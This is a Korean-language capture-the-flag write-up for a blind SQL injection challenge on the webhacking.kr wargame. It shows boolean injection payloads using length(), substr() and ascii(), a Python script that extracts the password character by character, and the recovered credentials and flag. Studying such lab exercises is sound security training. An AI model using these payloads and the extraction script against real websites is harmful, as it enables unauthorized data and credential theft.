Blind SQL Injection이라고 되어 있다. 주소창을 보니 no, id, pw값을 입력받고 있다.
no에 숫자들을 입력해 보니 True라고 나오는 숫자는 1과 2뿐이다. 따라서 id값은 1과 2이다.
이제 각 id에 맞는 id와 pw를 찾아내야 한다.
1 and length(id)=5
를 이용하여 id의 길이가 5인 것과, pw의 길이가 5인 것을 알아 냈다. 똑같은 방법으로 no가 2인 id와 pw의 길이도 알아내면 id는 5, pw는 19의 길이를 가지고 있다.
no | id | pw |
---|---|---|
1 | ? (5) | ? (5) |
2 | ? (5) | ? (19) |
이제 아이디를 찾아보자. 보통 5의 길이를 가진 id는 ‘admin’이 있다. 이를 예측해보고 no=1의 id를 substr()를 이용하여 찾아보자.
1 and ascii(substr(id, 1, 1))=97
위 명령어는 no가 1이고, id의 첫번째 인덱스에서 1byte가 ascii코드로 97(‘a’)인지 확인하는 명령어이다.
생각처럼 no=1의 id는 ‘admin’이 아닌것 같다. 하지만 같은 방식으로 no=2의 id를 비교해보니 ‘admin’이 맞았다.
no | id | pw |
---|---|---|
1 | ? (5) | ? (5) |
2 | admin (5) | ? (19) |
이렇게 하나하나씩 다 비교해 보는 것은 매우 힘든일이다. 한글자 마다 ascii코드 33부터 136까지 다 비교해봐야 하기 때문이다.
import requests
url = 'http://webhacking.kr/challenge/bonus/bonus-1/index.php?'
cookie={'PHPSESSID':'b82bba458acf3b6fd70126be82c02e2f'}
pw = ''
# no=1
for i in range(1, 6):
for j in range(33, 137):
query = "no=1 and ascii(substr(pw,"+str(i)+" ,1))="+str(j)
payload = url+query
print("Password Parsing : "+pw+chr(j))
res = requests.get(payload, cookies=cookie)
if((res.text).find("True")>0):
pw += chr(j)
print("Find PW : "+pw)
break
print("[+]Finish Password Parsing...")
print("Password : "+pw)
힘든건 컴퓨터한테 시키면 된다.
no | id | pw |
---|---|---|
1 | ? (5) | guest (5) |
2 | admin (5) | blindsqlinjectionkk (19) |
no=1의 pw를 찾다보니 비밀번호 한자리씩 파싱하는데 시간이 1-2초씩 소비하였다. 5글자 알아내는대도 5분정도 걸린것 같다. no=2의 pw는 소문자 일것으로 추측하고 경우의 수를 줄여 파싱을 진행하였다. (시간은 금이니까 😏)
flag = blindsqlinjectionkk
PREVIOUS[Web.kr]Level 20
NEXT[Web.kr]Level 22